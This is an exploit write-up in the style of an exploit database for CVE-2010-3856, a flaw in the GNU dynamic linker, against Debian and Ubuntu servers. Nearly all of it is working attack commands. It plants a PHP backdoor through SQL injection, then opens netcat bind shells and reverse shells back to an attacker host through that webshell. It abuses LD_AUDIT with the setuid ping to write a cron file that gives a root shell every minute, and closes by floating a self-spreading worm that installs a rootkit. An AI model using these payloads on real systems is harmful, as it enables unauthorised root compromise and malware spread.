# Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root # Date: 24-10-2010 # Author: jmit # Mail: fhausberger[at]gmail[dot]com # Tested on: Debian 5.0.6 # CVE: CVE-2010-3856 -------------- | DISCLAIMER | -------------- # IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. --------- | ABOUT | --------- Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln). See (http://www.exploit-db.com/exploits/15304/). Should work on other linux distros too. -------------- | BACKGROUND | -------------- Typically it isn't possible to use a suidshell or modify /etc/passwd directly after webshell access (user nobody) to gain root access. But with the DSO vuln we can launch commands as root and we can create a socket and connect to the user or setup a bindshell. ----------- | EXPLOIT | ----------- After you have found a SQL-Injection vuln you can create a php backdoor. This is typically possible with select into dumpfile/outfile statement. The values are a simple backdoor. --- DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ) TYPE=MyISAM; insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php'; drop table fm; flush logs; --- Now you can connect to the server and create a connection with telnet, nc, write binary with perl -e ' print "\x41\x42\x43\x44"', echo -en '\x41\x42\x43\x44', ... If direct shell access isn't possible you can use phpcode to create your own binary with php fwrite: --- --- Now use Bind-Shell: http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash Reverse-Shell: http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash in your webbrowser and connect to your shell $ nc victimip 9999 id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) --- Now lets exploit the DSO vuln. You need umask 0 for correct rw-rw-rw creation of exploit /etc/cron.d/exploit $ umask 0 This is the shellscript for the cron.d entry. Bind-Shell: $ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh Reverse-Shell: $ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh Now make your shellscript executable for cron: $ chmod u+x /tmp/exploit.sh Create rw-rw-rw file in cron directory using the setuid ping program: $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping Launch every minute a suid root shell $ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit Now you have a root shell every minute. $ nc attackerip 79 id uid=0(root) gid=0(root) groups=0(root) ------------------- | EXPLOIT oneline | ------------------- echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit $ nc attackerip 79 id uid=0(root) gid=0(root) groups=0(root) ------------------------------ | EXPLOIT from webshell only | ------------------------------ http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit $ nc attackerip 79 id uid=0(root) gid=0(root) groups=0(root) --------------------------------- | EXPLOIT from webshell oneline | --------------------------------- http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit $ nc attackerip 79 id uid=0(root) gid=0(root) groups=0(root) --------- | IDEAS | --------- Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs. Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.